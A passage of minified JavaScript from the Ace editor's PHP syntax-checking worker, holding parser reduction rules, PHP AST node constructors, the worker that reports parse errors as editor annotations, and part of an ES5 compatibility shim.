prototype.yyn341=function(e){this.yyval=this.Node_Expr_StaticPropertyFetch(this.yyastk[this.stackPos-5],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn342=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn343=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn344=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn345=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.yyastk[this.stackPos-3],this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn346=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0].substring(1),e)},r.Parser.prototype.yyn347=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn348=function(e){this.yyval=null},r.Parser.prototype.yyn349=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn350=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn351=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn352=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn353=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn354=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn355=function(e){this.yyval=this.yyastk[this.stackPos-0]},r.Parser.prototype.yyn356=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn357=function(e){this.yyval=null},r.Parser.prototype.yyn358=function(e){this.yyval=[]},r.Parser.prototype.yyn359=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn360=function(e){this.yyastk[this.stackPos-2].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-2]},r.Parser.prototype.yyn361=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn362=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],this.yyastk[this.stackPos-2],!1,e)},r.Parser.prototype.yyn363=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],null,!1,e)},r.Parser.prototype.yyn364=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],this.yyastk[this.stackPos-3],!0,e)},r.Parser.prototype.yyn365=function(e){this.yyval=this.Node_Expr_ArrayItem(this.yyastk[this.stackPos-0],null,!0,e)},r.Parser.prototype.yyn366=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn367=function(e){this.yyastk[this.stackPos-1].push(this.yyastk[this.stackPos-0]),this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn368=function(e){this.yyval=[this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn369=function(e){this.yyval=[this.yyastk[this.stackPos-1],this.yyastk[this.stackPos-0]]},r.Parser.prototype.yyn370=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0].substring(1),e)},r.Parser.prototype.yyn371=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.Node_Expr_Variable(this.yyastk[this.stackPos-3].substring(1),e),this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn372=function(e){this.yyval=this.Node_Expr_PropertyFetch(this.Node_Expr_Variable(this.yyastk[this.stackPos-2].substring(1),e),this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn373=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn374=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-1],e)},r.Parser.prototype.yyn375=function(e){this.yyval=this.Node_Expr_ArrayDimFetch(this.Node_Expr_Variable(this.yyastk[this.stackPos-4],e),this.yyastk[this.stackPos-2],e)},r.Parser.prototype.yyn376=function(e){this.yyval=this.yyastk[this.stackPos-1]},r.Parser.prototype.yyn377=function(e){this.yyval=this.Node_Scalar_String(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn378=function(e){this.yyval=this.Node_Scalar_String(this.yyastk[this.stackPos-0],e)},r.Parser.prototype.yyn379=function(e){this.yyval=this.Node_Expr_Variable(this.yyastk[this.stackPos-0].substring(1),e)},r.Parser.prototype.Stmt_Namespace_postprocess=function(e){return e},r.Parser.prototype.Node_Stmt_Echo=function(){return{type:\"Node_Stmt_Echo\",exprs:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_If=function(){return{type:\"Node_Stmt_If\",cond:arguments[0],stmts:arguments[1].stmts,elseifs:arguments[1].elseifs,Else:arguments[1].Else||null,attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_For=function(){return{type:\"Node_Stmt_For\",init:arguments[0].init,cond:arguments[0].cond,loop:arguments[0].loop,stmts:arguments[0].stmts,attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Function=function(){return{type:\"Node_Stmt_Function\",name:arguments[0],byRef:arguments[1].byRef,params:arguments[1].params,stmts:arguments[1].stmts,attributes:arguments[2]}},r.Parser.prototype.Stmt_Class_verifyModifier=function(){},r.Parser.prototype.Node_Stmt_Namespace=function(){return{type:\"Node_Stmt_Namespace\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Use=function(){return{type:\"Node_Stmt_Use\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_UseUse=function(){return{type:\"Node_Stmt_UseUse\",name:arguments[0],as:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_TraitUseAdaptation_Precedence=function(){return{type:\"Node_Stmt_TraitUseAdaptation_Precedence\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_TraitUseAdaptation_Alias=function(){return{type:\"Node_Stmt_TraitUseAdaptation_Alias\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Trait=function(){return{type:\"Node_Stmt_Trait\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_TraitUse=function(){return{type:\"Node_Stmt_TraitUse\",name:arguments[0],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Class=function(){return{type:\"Node_Stmt_Class\",name:arguments[0],Type:arguments[1].type,Extends:arguments[1].Extends,Implements:arguments[1].Implements,stmts:arguments[1].stmts,attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_ClassMethod=function(){return{type:\"Node_Stmt_ClassMethod\",name:arguments[0],Type:arguments[1].type,byRef:arguments[1].byRef,params:arguments[1].params,stmts:arguments[1].stmts,attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_ClassConst=function(){return{type:\"Node_Stmt_ClassConst\",consts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Interface=function(){return{type:\"Node_Stmt_Interface\",name:arguments[0],Extends:arguments[1].Extends,stmts:arguments[1].stmts,attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Throw=function(){return{type:\"Node_Stmt_Throw\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Catch=function(){return{type:\"Node_Stmt_Catch\",Type:arguments[0],variable:arguments[1],stmts:arguments[2],attributes:arguments[3]}},r.Parser.prototype.Node_Stmt_TryCatch=function(){return{type:\"Node_Stmt_TryCatch\",stmts:arguments[0],catches:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Foreach=function(){return{type:\"Node_Stmt_Foreach\",expr:arguments[0],valueVar:arguments[1],keyVar:arguments[2].keyVar,byRef:arguments[2].byRef,stmts:arguments[2].stmts,attributes:arguments[3]}},r.Parser.prototype.Node_Stmt_While=function(){return{type:\"Node_Stmt_While\",cond:arguments[0],stmts:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Do=function(){return{type:\"Node_Stmt_Do\",cond:arguments[0],stmts:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Break=function(){return{type:\"Node_Stmt_Break\",num:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Continue=function(){return{type:\"Node_Stmt_Continue\",num:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Return=function(){return{type:\"Node_Stmt_Return\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Case=function(){return{type:\"Node_Stmt_Case\",cond:arguments[0],stmts:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Switch=function(){return{type:\"Node_Stmt_Switch\",cond:arguments[0],cases:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Else=function(){return{type:\"Node_Stmt_Else\",stmts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_ElseIf=function(){return{type:\"Node_Stmt_ElseIf\",cond:arguments[0],stmts:arguments[1],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_InlineHTML=function(){return{type:\"Node_Stmt_InlineHTML\",value:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_StaticVar=function(){return{type:\"Node_Stmt_StaticVar\",name:arguments[0],def:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Static=function(){return{type:\"Node_Stmt_Static\",vars:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_Global=function(){return{type:\"Node_Stmt_Global\",vars:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Stmt_PropertyProperty=function(){return{type:\"Node_Stmt_PropertyProperty\",name:arguments[0],def:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Property=function(){return{type:\"Node_Stmt_Property\",Type:arguments[0],props:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Stmt_Unset=function(){return{type:\"Node_Stmt_Unset\",variables:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Variable=function(e){return{type:\"Node_Expr_Variable\",name:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_FuncCall=function(){return{type:\"Node_Expr_FuncCall\",func:arguments[0],args:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_MethodCall=function(){return{type:\"Node_Expr_MethodCall\",variable:arguments[0],name:arguments[1],args:arguments[2],attributes:arguments[3]}},r.Parser.prototype.Node_Expr_StaticCall=function(){return{type:\"Node_Expr_StaticCall\",Class:arguments[0],func:arguments[1],args:arguments[2],attributes:arguments[3]}},r.Parser.prototype.Node_Expr_Ternary=function(){return{type:\"Node_Expr_Ternary\",cond:arguments[0],If:arguments[1],Else:arguments[2],attributes:arguments[3]}},r.Parser.prototype.Node_Expr_AssignList=function(){return{type:\"Node_Expr_AssignList\",assignList:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Assign=function(){return{type:\"Node_Expr_Assign\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignConcat=function(){return{type:\"Node_Expr_AssignConcat\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignMinus=function(){return{type:\"Node_Expr_AssignMinus\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignPlus=function(){return{type:\"Node_Expr_AssignPlus\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignDiv=function(){return{type:\"Node_Expr_AssignDiv\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignRef=function(){return{type:\"Node_Expr_AssignRef\",variable:arguments[0],refVar:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignMul=function(){return{type:\"Node_Expr_AssignMul\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_AssignMod=function(){return{type:\"Node_Expr_AssignMod\",variable:arguments[0],expr:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Plus=function(){return{type:\"Node_Expr_Plus\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Minus=function(){return{type:\"Node_Expr_Minus\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Mul=function(){return{type:\"Node_Expr_Mul\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Div=function(){return{type:\"Node_Expr_Div\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Mod=function(){return{type:\"Node_Expr_Mod\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Greater=function(){return{type:\"Node_Expr_Greater\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Equal=function(){return{type:\"Node_Expr_Equal\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_NotEqual=function(){return{type:\"Node_Expr_NotEqual\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Identical=function(){return{type:\"Node_Expr_Identical\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_NotIdentical=function(){return{type:\"Node_Expr_NotIdentical\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_GreaterOrEqual=function(){return{type:\"Node_Expr_GreaterOrEqual\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_SmallerOrEqual=function(){return{type:\"Node_Expr_SmallerOrEqual\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Concat=function(){return{type:\"Node_Expr_Concat\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Smaller=function(){return{type:\"Node_Expr_Smaller\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_PostInc=function(){return{type:\"Node_Expr_PostInc\",variable:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_PostDec=function(){return{type:\"Node_Expr_PostDec\",variable:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_PreInc=function(){return{type:\"Node_Expr_PreInc\",variable:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_PreDec=function(){return{type:\"Node_Expr_PreDec\",variable:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Include=function(){return{expr:arguments[0],type:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_ArrayDimFetch=function(){return{type:\"Node_Expr_ArrayDimFetch\",variable:arguments[0],dim:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_StaticPropertyFetch=function(){return{type:\"Node_Expr_StaticPropertyFetch\",Class:arguments[0],name:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_ClassConstFetch=function(){return{type:\"Node_Expr_ClassConstFetch\",Class:arguments[0],name:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_StaticPropertyFetch=function(){return{type:\"Node_Expr_StaticPropertyFetch\",Class:arguments[0],name:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_ConstFetch=function(){return{type:\"Node_Expr_ConstFetch\",name:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_ArrayItem=function(){return{type:\"Node_Expr_ArrayItem\",value:arguments[0],key:arguments[1],byRef:arguments[2],attributes:arguments[3]}},r.Parser.prototype.Node_Expr_Array=function(){return{type:\"Node_Expr_Array\",items:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_PropertyFetch=function(){return{type:\"Node_Expr_PropertyFetch\",variable:arguments[0],name:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_New=function(){return{type:\"Node_Expr_New\",Class:arguments[0],args:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Print=function(){return{type:\"Node_Expr_Print\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Exit=function(){return{type:\"Node_Expr_Exit\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_Bool=function(){return{type:\"Node_Expr_Cast_Bool\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_Int=function(){return{type:\"Node_Expr_Cast_Int\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_String=function(){return{type:\"Node_Expr_Cast_String\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_Double=function(){return{type:\"Node_Expr_Cast_Double\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_Array=function(){return{type:\"Node_Expr_Cast_Array\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Cast_Object=function(){return{type:\"Node_Expr_Cast_Object\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_ErrorSuppress=function(){return{type:\"Node_Expr_ErrorSuppress\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Isset=function(){return{type:\"Node_Expr_Isset\",variables:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_UnaryMinus=function(){return{type:\"Node_Expr_UnaryMinus\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_UnaryPlus=function(){return{type:\"Node_Expr_UnaryPlus\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_Empty=function(){return{type:\"Node_Expr_Empty\",variable:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_BooleanOr=function(){return{type:\"Node_Expr_BooleanOr\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_LogicalOr=function(){return{type:\"Node_Expr_LogicalOr\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_LogicalAnd=function(){return{type:\"Node_Expr_LogicalAnd\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_LogicalXor=function(){return{type:\"Node_Expr_LogicalXor\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_BitwiseAnd=function(){return{type:\"Node_Expr_BitwiseAnd\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_BitwiseOr=function(){return{type:\"Node_Expr_BitwiseOr\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_BitwiseXor=function(){return{type:\"Node_Expr_BitwiseXor\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_BitwiseNot=function(){return{type:\"Node_Expr_BitwiseNot\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_BooleanNot=function(){return{type:\"Node_Expr_BooleanNot\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Expr_BooleanAnd=function(){return{type:\"Node_Expr_BooleanAnd\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Instanceof=function(){return{type:\"Node_Expr_Instanceof\",left:arguments[0],right:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Expr_Clone=function(){return{type:\"Node_Expr_Clone\",expr:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Scalar_LNumber_parse=function(e){return e},r.Parser.prototype.Scalar_DNumber_parse=function(e){return e},r.Parser.prototype.Scalar_String_parseDocString=function(){return'\"'+arguments[1].replace(/([^\"\\\\]*(?:\\\\.[^\"\\\\]*)*)\"/g,'$1\\\\\"')+'\"'},r.Parser.prototype.Node_Scalar_String=function(){return{type:\"Node_Scalar_String\",value:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Scalar_String_create=function(){return{type:\"Node_Scalar_String\",value:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Scalar_LNumber=function(){return{type:\"Node_Scalar_LNumber\",value:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Scalar_DNumber=function(){return{type:\"Node_Scalar_DNumber\",value:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Scalar_Encapsed=function(){return{type:\"Node_Scalar_Encapsed\",parts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Name=function(){return{type:\"Node_Name\",parts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Name_FullyQualified=function(){return{type:\"Node_Name_FullyQualified\",parts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Name_Relative=function(){return{type:\"Node_Name_Relative\",parts:arguments[0],attributes:arguments[1]}},r.Parser.prototype.Node_Param=function(){return{type:\"Node_Param\",name:arguments[0],def:arguments[1],Type:arguments[2],byRef:arguments[3],attributes:arguments[4]}},r.Parser.prototype.Node_Arg=function(){return{type:\"Node_Name\",value:arguments[0],byRef:arguments[1],attributes:arguments[2]}},r.Parser.prototype.Node_Const=function(){return{type:\"Node_Const\",name:arguments[0],value:arguments[1],attributes:arguments[2]}},t.PHP=r}),define(\"ace/mode/php_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/php/php\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../worker/mirror\").Mirror,s=e(\"./php/php\").PHP,o=t.PhpWorker=function(e){i.call(this,e),this.setTimeout(500)};r.inherits(o,i),function(){this.setOptions=function(e){this.inlinePhp=e&&e.inline},this.onUpdate=function(){var e=this.doc.getValue(),t=[];this.inlinePhp&&(e=\"<?\"+e+\"?>\");var n=s.Lexer(e,{short_open_tag:1});try{new s.Parser(n)}catch(r){t.push({row:r.line-1,column:null,text:r.message.charAt(0).toUpperCase()+r.message.substring(1),type:\"error\"})}this.sender.emit(\"annotate\",t)}}.call(o.prototype)}),define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: 